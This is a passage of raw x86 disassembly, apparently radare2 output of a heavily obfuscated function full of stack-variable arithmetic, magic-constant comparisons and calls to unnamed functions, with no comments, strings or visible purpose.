movsx eax, byte [edx]
add ecx, eax
mov byte [0x4f9af2], cl
mov ecx, dword [ebp - 0x8148]
movsx edx, word [ecx]
mov eax, dword [ebp - 0xd6bc]
movsx ecx, word [eax]
add edx, ecx
mov word [ebp - 0x99e8], dx
mov edx, dword [ebp - 0x6654]
add edx, 0xc8
mov dword [ebp - 0x6654], edx
mov eax, dword [ebp - 0x1140]
and eax, dword [ebp - 0x6178]
mov dword [ebp - 0x3d3c], eax
mov ecx, dword [0x4f8004]
add ecx, dword [ebp - 0x2c8c]
mov edx, dword [ebp - 0x6b84]
mov dword [edx], ecx
mov eax, dword [ebp - 0x110b8]
movzx ecx, word [eax]
movzx edx, word [ebp - 0xf2c8]
sub ecx, edx
mov eax, dword [ebp - 0xc788]
mov word [eax], cx
mov ecx, dword [ebp - 0x6b84]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x2c8c]
mov eax, dword [ebp - 0x5108]
mov dword [eax], edx
mov ecx, dword [ebp - 0x6178]
add ecx, dword [ebp - 0x1a8c]
mov edx, dword [ebp - 0xe5c8]
mov dword [edx], ecx
mov eax, dword [ebp - 0x5108]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x6b24]
shl edx, cl
mov eax, dword [ebp - 0x5108]
mov dword [eax], edx
mov ecx, dword [ebp - 0x5108]
mov edx, dword [0x4f8004]
xor edx, dword [ecx]
mov dword [ebp - 0xae84], edx
mov eax, dword [ebp - 0x5108]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x740c]
sar edx, cl
mov dword [0x4f8008], edx
mov eax, dword [ebp - 0x778]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x110b8]
movzx eax, word [edx]
or ecx, eax
mov edx, dword [ebp - 0x778]
mov word [edx], cx
mov eax, dword [ebp - 0xb0fc]
movsx ecx, byte [eax]
movsx edx, byte [0x4f9af2]
and ecx, edx
mov byte [ebp - 0xd0a1], cl
mov eax, dword [ebp - 0x5108]
mov ecx, dword [ebp - 0xae84]
add ecx, dword [eax]
mov dword [ebp - 0x6b24], ecx
mov edx, dword [ebp - 0x6b84]
mov eax, dword [ebp - 0x6b24]
add eax, dword [edx]
mov ecx, dword [ebp - 0x5108]
mov dword [ecx], eax
mov edx, dword [ebp - 0xe5c8]
mov eax, dword [ebp - 0x688c]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x31b4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1f94]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x740c]
mov edx, dword [ebp - 0x6b84]
mov dword [edx], ecx
mov eax, dword [ebp - 0x6b84]
mov ecx, dword [ebp - 0x1f94]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x92b0], edx
movsx eax, word [ebp - 0x99e8]
movsx ecx, word [ebp - 0xfbf8]
and eax, ecx
mov edx, dword [ebp - 0x8148]
mov word [edx], ax
mov eax, dword [ebp - 0xb0fc]
movsx ecx, byte [eax]
mov edx, dword [0x4faeac]
movsx eax, byte [edx]
sub ecx, eax
mov byte [0x4f9af2], cl
movzx ecx, word [ebp - 0x8c14]
mov edx, dword [ebp - 0x778]
movzx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0x110b8]
mov word [edx], cx
mov eax, dword [ebp - 0x6b84]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x2c8c]
mov dword [ebp - 0x92b0], ecx
mov edx, dword [ebp - 0x3d3c]
mov ecx, dword [ebp - 0x1140]
shr edx, cl
mov dword [ebp - 0x1a8c], edx
mov eax, dword [ebp - 0x1f94]
mov ecx, dword [ebp - 0x5108]
mov edx, dword [eax]
or edx, dword [ecx]
mov dword [ebp - 0x740c], edx
movzx eax, word [ebp - 0x10914]
mov ecx, dword [ebp - 0x110b8]
movzx ecx, word [ecx]
shl eax, cl
mov word [ebp - 0xf2c8], ax
mov edx, dword [ebp - 0x5108]
mov eax, dword [ebp - 0x6b24]
xor eax, dword [edx]
mov dword [ebp - 0x2c8c], eax
mov ecx, dword [ebp - 0x618c]
mov edx, dword [ebp - 0xe5c8]
mov eax, dword [ecx]
and eax, dword [edx]
mov ecx, dword [ebp - 0x31b4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x6b84]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x1f94]
add eax, dword [ecx]
mov edx, dword [ebp - 0x6b84]
mov dword [edx], eax
mov eax, dword [ebp - 0xb0fc]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0xd0a1]
add ecx, edx
mov eax, dword [0x4faeac]
mov byte [eax], cl
mov ecx, dword [ebp - 0x6178]
add ecx, dword [ebp - 0x1140]
mov edx, dword [ebp - 0x31b4]
mov dword [edx], ecx
cmp dword [ebp - 0x6654], 0x8533
jb 0x4061d3
mov eax, dword [ebp - 0x1f94]
mov ecx, dword [ebp - 0x5108]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x6b84]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x92b0]
cmp edx, ecx
je 0x4067cf
mov edx, dword [ebp - 0x8148]
movsx eax, word [edx]
mov dword [ebp - 0x114f0], eax
cmp dword [ebp - 0x114f0], 0
je 0x4066d5
cmp dword [ebp - 0x114f0], 0x3bcf
je 0x40675a
jmp 0x4067cd
mov ecx, dword [ebp - 0x1a8c]
mov dword [ebp - 0x114f4], ecx
cmp dword [ebp - 0x114f4], 0
je 0x4066ec
jmp 0x40673f
movzx edx, word [ebp - 0xf2c8]
movzx eax, word [ebp - 0x8c14]
sub edx, eax
mov ecx, dword [ebp - 0xc788]
mov word [ecx], dx
lea edx, [ebp - 0x6b24]
mov dword [ebp - 0xac2c], edx
mov eax, dword [ebp - 0x92b0]
or eax, dword [0x4f8008]
mov dword [ebp - 0x6b24], eax
lea ecx, [ebp - 0x77a0]
mov dword [ebp - 0x5034], ecx
mov edx, dword [ebp - 0xb0fc]
mov al, byte [edx]
mov byte [ebp - 0x88cd], al
jmp 0x406758
movsx edx, word [ebp - 0xfbf8]
mov eax, dword [ebp - 0x5034]
movsx ecx, word [eax]
sar edx, cl
mov word [ebp - 0x99e8], dx
jmp 0x4067cd
mov ecx, dword [ebp - 0xac2c]
mov edx, dword [ecx]
mov dword [ebp - 0x114f8], edx
cmp dword [ebp - 0x114f8], 0x573cce20
je 0x406776
jmp 0x4067b9
mov eax, dword [ebp - 0xb0fc]
movsx edx, byte [eax]
movsx ecx, byte [ebp - 0xd0a1]
shl edx, cl
mov eax, dword [0x4faeac]
mov byte [eax], dl
mov ecx, dword [ebp - 0x31b4]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x6178]
mov dword [ebp - 0x1140], edx
mov eax, dword [ebp - 0x1140]
add eax, dword [ebp - 0x3d3c]
mov ecx, dword [ebp - 0x31b4]
mov dword [ecx], eax
jmp 0x4067cd
mov edx, dword [ebp - 0x6b84]
mov eax, dword [ebp - 0x2c8c]
and eax, dword [edx]
mov dword [ebp - 0x6b24], eax
jmp 0x40680b
movsx ecx, word [ebp - 0xfbf8]
movsx edx, word [ebp - 0x77a0]
sub ecx, edx
movsx eax, word [ebp - 0x99e8]
mov edx, dword [ebp - 0x8148]
movsx edx, word [edx]
and eax, edx
cmp ecx, eax
jne 0x40680b
mov eax, dword [ebp - 0xac2c]
mov ecx, dword [ebp - 0x6b24]
add ecx, dword [eax]
mov edx, dword [ebp - 0x1f94]
mov dword [edx], ecx
mov eax, dword [ebp - 0xb0fc]
mov cl, byte [eax]
mov byte [ebp - 0x114fc], cl
cmp byte [ebp - 0x114fc], 0
je 0x406834
cmp byte [ebp - 0x114fc], 0x7a
je 0x4ee50b
jmp 0x4ee5bd
movsx edx, byte [ebp - 0xd0a1]
mov eax, dword [0x4faeac]
movsx ecx, byte [eax]
xor edx, ecx
movsx eax, byte [ebp - 0x88cd]
mov ecx, dword [ebp - 0xb0fc]
movsx ecx, byte [ecx]
or eax, ecx
cmp edx, eax
jne 0x406964
movzx edx, word [ebp - 0xf2c8]
mov dword [ebp - 0x11500], edx
cmp dword [ebp - 0x11500], 0
je 0x406886
cmp dword [ebp - 0x11500], 0xfdf
je 0x4068f2
jmp 0x406962
mov eax, dword [ebp - 0x5108]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x6b84]
add ecx, dword [edx]
mov dword [ebp - 0x92b0], ecx
mov eax, dword [ebp - 0x6b84]
mov ecx, dword [ebp - 0x5108]
mov edx, dword [eax]
and edx, dword [ecx]
mov dword [ebp - 0xfdd0], edx
mov eax, dword [ebp - 0xe5c8]
mov ecx, dword [ebp - 0x688c]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x3d3c], edx
mov eax, dword [ebp - 0xc788]
mov cx, word [eax]
mov word [ebp - 0xe53c], cx
mov edx, dword [ebp - 0xb0fc]
mov al, byte [edx]
mov byte [ebp - 0x30bd], al
mov dword [ebp - 0xc43c], 0xb3e3
jmp 0x406962
mov ecx, dword [ebp - 0x5034]
movsx edx, word [ecx]
mov dword [ebp - 0x11504], edx
cmp dword [ebp - 0x11504], 0x19e0
je 0x406949
cmp dword [ebp - 0x11504], 0x7675
je 0x40691b
jmp 0x406962
mov eax, dword [ebp - 0x2e60]
push eax
mov ecx, dword [ebp - 0x92b0]
push ecx
mov edx, dword [0x4f8008]
push edx
mov eax, dword [ebp - 0xd6bc]
movzx ecx, word [eax]
push ecx
movzx edx, word [ebp - 0x8c14]
push edx
call fcn.004010a0
jmp 0x406962
movsx eax, word [ebp - 0x77a0]
movsx ecx, word [ebp - 0x99e8]
sub eax, ecx
mov edx, dword [ebp - 0xd6bc]
mov word [edx], ax
jmp 0x4069b7
mov eax, dword [ebp - 0x688c]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x6178]
mov dword [ebp - 0x2e60], ecx
mov edx, dword [ebp - 0x6b84]
mov eax, dword [edx]
add eax, dword [ebp - 0x2c8c]
mov ecx, dword [ebp - 0x6b84]
mov dword [ecx], eax
mov edx, dword [0x4faeac]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0xd0a1]
sub eax, ecx
mov edx, dword [0x4faeac]
mov byte [edx], al
mov eax, dword [ebp - 0xb0fc]
movzx ecx, byte [eax]
push ecx
call fcn.004eebb0
mov edx, dword [ebp - 0xb0fc]
mov al, byte [edx]
mov byte [ebp - 0x11508], al
cmp byte [ebp - 0x11508], 0
je 0x4069d9
cmp byte [ebp - 0x11508], 0x5b
je 0x406a18
jmp 0x406a2a
mov ecx, dword [ebp - 0x110b8]
movzx edx, word [ecx]
movzx eax, word [section..data]
sub edx, eax
mov ecx, dword [ebp - 0x778]
mov word [ecx], dx
lea edx, [ebp - 0x6b24]
mov dword [ebp - 0x6208], edx
mov eax, dword [ebp - 0x688c]
mov ecx, dword [ebp - 0x6178]
sub ecx, dword [eax]
mov edx, dword [ebp - 0xe5c8]
mov dword [edx], ecx
jmp 0x406a2a
mov eax, dword [ebp - 0x2c8c]
sub eax, dword [ebp - 0x92b0]
mov dword [ebp - 0xfdd0], eax
mov ecx, dword [ebp - 0x778]
movzx edx, word [ecx]
mov dword [ebp - 0x1150c], edx
cmp dword [ebp - 0x1150c], 0
je 0x406a44
jmp 0x406ac2
mov eax, dword [ebp - 0xac2c]
mov edx, dword [eax]
mov ecx, dword [ebp - 0xae84]
shl edx, cl
mov eax, dword [ebp - 0xac2c]
mov dword [eax], edx
mov cx, word [ebp - 0xe53c]
mov word [ebp - 0xa264], cx
mov edx, dword [ebp - 0x618c]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x6178]
shr eax, cl
mov ecx, dword [ebp - 0x31b4]
mov dword [ecx], eax
mov dword [ebp - 0xd014], 0x8b4a
mov dx, word [ebp - 0xfbf8]
mov word [0x4fa540], dx
mov eax, dword [ebp - 0x1f94]
mov ecx, dword [eax]
mov dword [ebp - 0x3514], ecx
mov edx, dword [ebp - 0x5108]
mov eax, dword [ebp - 0xac2c]
mov ecx, dword [edx]
xor ecx, dword [eax]
mov edx, dword [ebp - 0x1f94]
mov dword [edx], ecx
jmp 0x406b38
mov eax, dword [ebp - 0xac2c]
mov ecx, dword [eax]
mov dword [ebp - 0x11510], ecx
cmp dword [ebp - 0x11510], 0x73a9f5f4
je 0x406ade
jmp 0x406b1d
mov edx, dword [ebp - 0x5108]
mov eax, dword [edx]
or eax, dword [ebp - 0xae84]
mov ecx, dword [ebp - 0x1f94]
mov dword [ecx], eax
mov edx, dword [ebp - 0x1f94]
mov eax, dword [edx]
and eax, dword [ebp - 0x92b0]
mov dword [ebp - 0x3514], eax
mov edx, dword [ebp - 0x6178]
mov ecx, dword [ebp - 0xe5c8]
mov ecx, dword [ecx]
call section..text
jmp 0x406b38
movsx edx, word [ebp - 0x99e8]
mov eax, dword [ebp - 0xd6bc]
movsx ecx, word [eax]
add edx, ecx
mov eax, dword [ebp - 0x5034]
mov word [eax], dx
movsx ecx, byte [ebp - 0xd0a1]
movsx edx, byte [ebp - 0x30bd]
sub ecx, edx
mov byte [ebp - 0x88cd], cl
lea eax, [ebp - 0x8c14]
mov dword [ebp - 0x4138], eax
mov ecx, dword [ebp - 0xb0fc]
mov dl, byte [ecx]
mov byte [ebp - 0x11514], dl
cmp byte [ebp - 0x11514], 5
je 0x406b73
jmp 0x406ba3
mov eax, dword [ebp - 0xb0fc]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x88cd]
and ecx, edx
mov byte [0x4f9af2], cl
mov eax, dword [ebp - 0xe5c8]
mov ecx, dword [ebp - 0x2e60]
add ecx, dword [eax]
mov edx, dword [ebp - 0x688c]
mov dword [edx], ecx
jmp 0x406c03
mov eax, dword [ebp - 0x4138]
movzx ecx, word [eax]
mov dword [ebp - 0x11518], ecx
cmp dword [ebp - 0x11518], 0x4ed
je 0x406bc0
jmp 0x406c03
movzx edx, word [ebp - 0xe53c]
mov eax, dword [ebp - 0x4138]
movzx ecx, word [eax]
sub edx, ecx
mov word [ebp - 0xf2c8], dx
mov edx, dword [ebp - 0x1f94]
mov eax, dword [ebp - 0x3514]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x6b84]
mov dword [ecx], eax
mov edx, dword [ebp - 0x1f94]
mov eax, dword [edx]
add eax, dword [ebp - 0x54c]
mov dword [ebp - 0x3514], eax
mov ecx, dword [ebp - 0xe5c8]
mov edx, dword [ecx]
add edx, dword [ebp - 0x2e60]
mov eax, dword [ebp - 0x1a8c]
or eax, dword [ebp - 0x3d3c]
cmp edx, eax
ja 0x4ee4d6
mov ecx, dword [ebp - 0xb0fc]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x30bd]
xor edx, eax
movsx ecx, byte [ebp - 0xd0a1]
movsx eax, byte [ebp - 0x88cd]
and ecx, eax
cmp edx, ecx
jl 0x4ee4c4
mov ecx, dword [ebp - 0x3d3c]
mov dword [ebp - 0x1151c], ecx
cmp dword [ebp - 0x1151c], 0
je 0x406c66
jmp 0x406ccc
mov edx, dword [ebp - 0x778]
movzx eax, word [edx]
mov ecx, dword [ebp - 0xc788]
movzx edx, word [ecx]
add eax, edx
mov word [ebp - 0x10914], ax
mov eax, dword [ebp - 0xe5c8]
mov ecx, dword [eax]
mov dword [ebp - 0xb204], ecx
mov edx, dword [ebp - 0xac2c]
mov eax, dword [edx]
sub eax, dword [ebp - 0x740c]
mov ecx, dword [ebp - 0x6208]
mov dword [ecx], eax
movsx edx, word [0x4fa540]
mov eax, dword [ebp - 0x5034]
movsx ecx, word [eax]
add edx, ecx
mov word [ebp - 0x99e8], dx
lea edx, [ebp - 0xd0a1]
mov dword [ebp - 0x4e64], edx
jmp 0x406d40
mov eax, dword [ebp - 0x618c]
mov ecx, dword [ebp - 0x2e60]
and ecx, dword [eax]
mov edx, dword [ebp - 0x688c]
mov dword [edx], ecx
mov eax, dword [ebp - 0xac2c]
mov ecx, dword [eax]
mov dword [ebp - 0x11520], ecx
cmp dword [ebp - 0x11520], 0x734fbf98
je 0x406cfe
jmp 0x406d2c
movzx edx, word [ebp - 0xa264]
movzx eax, word [ebp - 0x10914]
add edx, eax
mov ecx, dword [ebp - 0xc788]
mov word [ecx], dx
mov edx, dword [ebp - 0xb204]
mov eax, dword [ebp - 0x618c]
mov ecx, dword [eax]
call section..text
jmp 0x406d40
mov ecx, dword [ebp - 0x688c]
mov edx, dword [ebp - 0x6178]
sub edx, dword [ecx]
mov dword [ebp - 0x1140], edx
lea eax, [ebp - 0x740c]
mov dword [0x4fa9b8], eax
lea ecx, [ebp - 0xfdd0]
mov dword [ebp - 0x49d8], ecx
mov dword [ebp - 0xc534], 0xe0cc
mov edx, dword [ebp - 0xe5c8]
mov eax, dword [ebp - 0x31b4]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0x1a8c], ecx
mov edx, dword [ebp - 0x110b8]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x4138]
movzx edx, word [ecx]
sub eax, edx
mov ecx, dword [ebp - 0xc788]
movzx edx, word [ecx]
mov ecx, dword [ebp - 0x778]
movzx ecx, word [ecx]
or edx, ecx
cmp eax, edx
jl 0x4ee3a7
mov edx, dword [ebp - 0x8148]
movsx eax, word [edx]
mov ecx, dword [ebp - 0x5034]
movsx edx, word [ecx]
add eax, edx
mov word [ebp - 0xfbf8], ax
movsx eax, byte [ebp - 0x30bd]
movsx ecx, byte [ebp - 0x88cd]
sub eax, ecx
mov edx, dword [ebp - 0xb0fc]
mov byte [edx], al
mov eax, dword [ebp - 0x618c]
mov ecx, dword [ebp - 0x688c]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0xe5c8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x6208]
mov edx, dword [ebp - 0x49d8]
mov eax, dword [ecx]
xor eax, dword [edx]
mov dword [ebp - 0x6b24], eax
mov ecx, dword [ebp - 0x778]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x110b8]
movzx ecx, word [eax]
or edx, ecx
mov word [ebp - 0xa264], dx
movzx edx, word [section..data]
movzx ecx, word [ebp - 0x10914]
sar edx, cl
mov word [ebp - 0xf2c8], dx
mov eax, dword [ebp - 0xb0fc]
movsx edx, byte [eax]
mov eax, dword [ebp - 0x4e64]
movsx ecx, byte [eax]
shl edx, cl
mov ecx, dword [0x4faeac]
mov byte [ecx], dl
mov edx, dword [ebp - 0x49d8]
mov eax, dword [edx]
and eax, dword [0x4f8004]
mov dword [ebp - 0x6b24], eax
mov ecx, dword [ebp - 0x54c]
add ecx, dword [ebp - 0xae84]
mov edx, dword [ebp - 0x5108]
mov dword [edx], ecx
mov eax, dword [ebp - 0x31b4]
mov ecx, dword [ebp - 0x3d3c]
add ecx, dword [eax]
mov dword [ebp - 0x6178], ecx
movzx edx, word [ebp - 0xe53c]
movzx eax, word [ebp - 0x8c14]
add edx, eax
mov word [ebp - 0xa264], dx
mov ecx, dword [ebp - 0x110b8]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x4138]
movzx ecx, word [eax]
sub edx, ecx
mov word [ebp - 0xe53c], dx
mov edx, dword [ebp - 0x6b84]
mov eax, dword [0x4f8008]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x49d8]
mov dword [ecx], eax
mov edx, dword [ebp - 0xac2c]
mov eax, dword [edx]
sub eax, dword [ebp - 0x6b24]
mov ecx, dword [ebp - 0x6b84]
mov dword [ecx], eax
mov edx, dword [ebp - 0xe5c8]
mov eax, dword [ebp - 0x6178]
and eax, dword [edx]
mov ecx, dword [ebp - 0x31b4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x6b84]
mov eax, dword [edx]
add eax, dword [ebp - 0x54c]
mov dword [0x4f8004], eax
mov edx, dword [ebp - 0x92b0]
mov ecx, dword [ebp - 0x740c]
sar edx, cl
mov dword [ebp - 0x54c], edx
mov eax, dword [0x4faeac]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x88cd]
or ecx, edx
mov eax, dword [ebp - 0x4e64]
mov byte [eax], cl
movsx ecx, word [ebp - 0xfbf8]
movsx edx, word [ebp - 0x99e8]
xor ecx, edx
mov word [ebp - 0x77a0], cx
mov eax, dword [0x4fa9b8]
mov edx, dword [ebp - 0x3514]
mov ecx, dword [eax]
shl edx, cl
mov eax, dword [ebp - 0x5108]
mov dword [eax], edx
movzx ecx, word [ebp - 0x8c14]
mov edx, dword [ebp - 0x110b8]
movzx eax, word [edx]
sub ecx, eax
mov edx, dword [ebp - 0xc788]
mov word [edx], cx
mov eax, dword [ebp - 0xc534]
add eax, 0xe8
mov dword [ebp - 0xc534], eax
mov ecx, dword [ebp - 0x1140]
and ecx, dword [ebp - 0x6178]
mov edx, dword [ebp - 0x31b4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x5108]
mov ecx, dword [0x4f8004]
add ecx, dword [eax]
mov edx, dword [ebp - 0x6208]
mov dword [edx], ecx
mov eax, dword [ebp - 0x110b8]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x4138]
movzx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0xc788]
mov word [edx], cx
mov eax, dword [ebp - 0x4e64]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0xb0fc]
movsx eax, byte [edx]
add ecx, eax
mov edx, dword [0x4faeac]
mov byte [edx], cl
mov eax, dword [ebp - 0x3d3c]
sub eax, dword [ebp - 0xb204]
mov dword [ebp - 0x6178], eax
mov ecx, dword [ebp - 0xfdd0]
sub ecx, dword [0x4f8004]
mov edx, dword [ebp - 0x6b84]
mov dword [edx], ecx
cmp dword [ebp - 0xc534], 0x10f04
jne 0x406da7
lea eax, [ebp - 0x740c]
mov dword [ebp - 0xe278], eax
cmp dword [ebp - 0xc43c], 0x9613
jb 0x40721f
mov ecx, dword [ebp - 0xe5c8]
mov edx, dword [ecx]
add edx, dword [ebp - 0x2e60]
mov dword [ebp - 0x1a8c], edx
mov eax, dword [ebp - 0x4138]
movzx ecx, word [eax]
movzx edx, word [section..data]
sub ecx, edx
mov eax, dword [ebp - 0x778]
mov word [eax], cx
mov ecx, dword [ebp - 0x778]
movzx edx, word [ecx]
mov eax, dword [ebp - 0xc788]
movzx ecx, word [eax]
and edx, ecx
mov word [ebp - 0x10914], dx
mov edx, dword [ebp - 0x49d8]
mov eax, dword [ebp - 0xac2c]
mov edx, dword [edx]
mov ecx, dword [eax]
sar edx, cl
mov dword [ebp - 0x6b24], edx
mov eax, dword [0x4fa9b8]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x54c]
mov edx, dword [ebp - 0xe278]
mov dword [edx], ecx
movsx eax, byte [ebp - 0x88cd]
movsx ecx, byte [ebp - 0x30bd]
xor eax, ecx
mov byte [0x4f9af2], al
mov edx, dword [ebp - 0x5034]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x77a0]
shl eax, cl
mov word [ebp - 0xfbf8], ax
mov ecx, dword [ebp - 0x778]
movzx edx, word [ecx]
movzx eax, word [ebp - 0xa264]
add edx, eax
mov word [ebp - 0x10914], dx
movzx ecx, word [ebp - 0x10914]
movzx edx, word [section..data]
add ecx, edx
mov word [ebp - 0xf2c8], cx
mov eax, dword [ebp - 0x688c]
mov ecx, dword [ebp - 0x31b4]
mov edx, dword [eax]
and edx, dword [ecx]
mov eax, dword [ebp - 0x688c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x688c]
mov edx, dword [ebp - 0x1a8c]
sub edx, dword [ecx]
mov dword [ebp - 0xb204], edx
mov eax, dword [ebp - 0xfdd0]
add eax, dword [ebp - 0xae84]
mov ecx, dword [ebp - 0x6b84]
mov dword [ecx], eax
mov edx, dword [ebp - 0x6208]
mov eax, dword [ebp - 0x1f94]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x49d8]
mov dword [edx], ecx
mov eax, dword [ebp - 0x5108]
mov ecx, dword [0x4fa9b8]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x3514], edx
movzx eax, word [ebp - 0xa264]
mov ecx, dword [ebp - 0x4138]
movzx edx, word [ecx]
sub eax, edx
mov word [ebp - 0x10914], ax
mov eax, dword [ebp - 0xb0fc]
movsx ecx, byte [eax]
movsx edx, byte [0x4f9af2]
sub ecx, edx
mov eax, dword [0x4faeac]
mov byte [eax], cl
mov ecx, dword [ebp - 0xc43c]
sub ecx, 0x6a
mov dword [ebp - 0xc43c], ecx
mov edx, dword [ebp - 0x618c]
mov eax, dword [ebp - 0xb204]
add eax, dword [edx]
mov ecx, dword [ebp - 0x688c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x6208]
mov eax, dword [edx]
add eax, dword [ebp - 0x92b0]
mov ecx, dword [ebp - 0x49d8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x6b24]
mov ecx, dword [ebp - 0x2c8c]
sar edx, cl
mov eax, dword [ebp - 0x5108]
mov dword [eax], edx
jmp 0x407044
mov ecx, dword [ebp - 0xe5c8]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x1a8c]
mov dword [ebp - 0x6178], edx
movzx eax, word [ebp - 0xe53c]
mov ecx, dword [ebp - 0x110b8]
movzx edx, word [ecx]
or eax, edx
mov ecx, dword [ebp - 0xc788]
mov word [ecx], ax
mov edx, dword [ebp - 0x2e60]
mov ecx, dword [ebp - 0x6178]
shl edx, cl
mov eax, dword [ebp - 0x618c]
mov dword [eax], edx
movsx ecx, byte [ebp - 0x88cd]
mov edx, dword [ebp - 0xb0fc]
movsx eax, byte [edx]
and ecx, eax
mov byte [ebp - 0x30bd], cl
mov ecx, dword [ebp - 0xd6bc]
movsx edx, word [ecx]
mov eax, dword [ebp - 0x8148]
movsx ecx, word [eax]
add edx, ecx
mov eax, dword [ebp - 0x5034]
mov word [eax], dx
mov ecx, dword [ebp - 0x4e64]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0xb0fc]
movsx ecx, byte [eax]
sub edx, ecx
mov eax, dword [0x4faeac]
mov byte [eax], dl
mov ecx, dword [ebp - 0xae84]
and ecx, dword [ebp - 0x2c8c]
mov edx, dword [ebp - 0x1f94]
mov dword [edx], ecx
movzx eax, word [ebp - 0xe53c]
movzx ecx, word [ebp - 0xf2c8]
add eax, ecx
mov edx, dword [ebp - 0xc788]
mov word [edx], ax
mov eax, dword [ebp - 0x688c]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x31b4]
add ecx, dword [edx]
mov eax, dword [ebp - 0x618c]
mov dword [eax], ecx
mov ecx, dword [0x4f8008]
sub ecx, dword [ebp - 0x2c8c]
mov dword [ebp - 0x740c], ecx
mov edx, dword [ebp - 0x618c]
mov eax, dword [edx]
sub eax, dword [ebp - 0x3d3c]
mov ecx, dword [ebp - 0x618c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x6208]
mov eax, dword [edx]
sub eax, dword [0x4f8008]
mov dword [ebp - 0x6b24], eax
mov ecx, dword [ebp - 0x92b0]
xor ecx, dword [ebp - 0x740c]
mov dword [ebp - 0x6b24], ecx
mov edx, dword [ebp - 0x2a2c]
sub edx, 0xb8
mov dword [ebp - 0x2a2c], edx
mov eax, dword [ebp - 0x110b8]
movzx edx, word [eax]
mov eax, dword [ebp - 0x778]
movzx ecx, word [eax]
shl edx, cl
mov word [ebp - 0x10914], dx
mov ecx, dword [ebp - 0xb0fc]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x4e64]
movsx ecx, byte [eax]
sar edx, cl
mov ecx, dword [0x4faeac]
mov byte [ecx], dl
mov edx, dword [ebp - 0x618c]
mov eax, dword [edx]
or eax, dword [ebp - 0x1140]
mov dword [ebp - 0x1a8c], eax
mov ecx, dword [ebp - 0x6b84]
mov edx, dword [ebp - 0xe278]
mov eax, dword [ecx]
and eax, dword [edx]
mov ecx, dword [ebp - 0x49d8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x6208]
mov eax, dword [ebp - 0xfdd0]
add eax, dword [edx]
mov dword [ebp - 0xae84], eax
mov ecx, dword [ebp - 0x6208]
mov edx, dword [ecx]
mov eax, dword [0x4fa9b8]
add edx, dword [eax]
mov dword [ebp - 0x6b24], edx
mov ecx, dword [ebp - 0x49d8]
mov edx, dword [ebp - 0xae84]
add edx, dword [ecx]
mov dword [ebp - 0x92b0], edx
mov eax, dword [ebp - 0xb0fc]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x30bd]
sub ecx, edx
mov eax, dword [ebp - 0x4e64]
mov byte [eax], cl
cmp dword [ebp - 0x2a2c], 0xe351
jae 0x40724e
mov ecx, dword [ebp - 0x31b4]
mov edx, dword [ebp - 0x1140]
and edx, dword [ecx]
mov eax, dword [ebp - 0x2e60]
add eax, dword [ebp - 0x3d3c]
cmp edx, eax
jne 0x4ee38f
mov ecx, dword [ebp - 0x5034]
movsx edx, word [ecx]
movsx eax, word [ebp - 0xfbf8]
sub edx, eax
movsx ecx, word [ebp - 0x99e8]
movsx eax, word [ebp - 0x77a0]
sub ecx, eax
cmp edx, ecx
jge 0x4ee292
mov cx, word [ebp - 0xe53c]
mov word [ebp - 0x1b88], cx
cmp dword [ebp - 0x5538], 0x7da9
je 0x407777
mov edx, dword [ebp - 0x110b8]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x8c14]
add eax, ecx
mov word [ebp - 0xe53c], ax
mov edx, dword [ebp - 0x5108]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x6208]
add eax, dword [ecx]
mov edx, dword [ebp - 0xac2c]
mov dword [edx], eax
mov eax, dword [ebp - 0xe5c8]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x1140]
mov dword [ebp - 0xb204], ecx
mov edx, dword [ebp - 0x49d8]
mov eax, dword [ebp - 0x6b84]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x1f94]
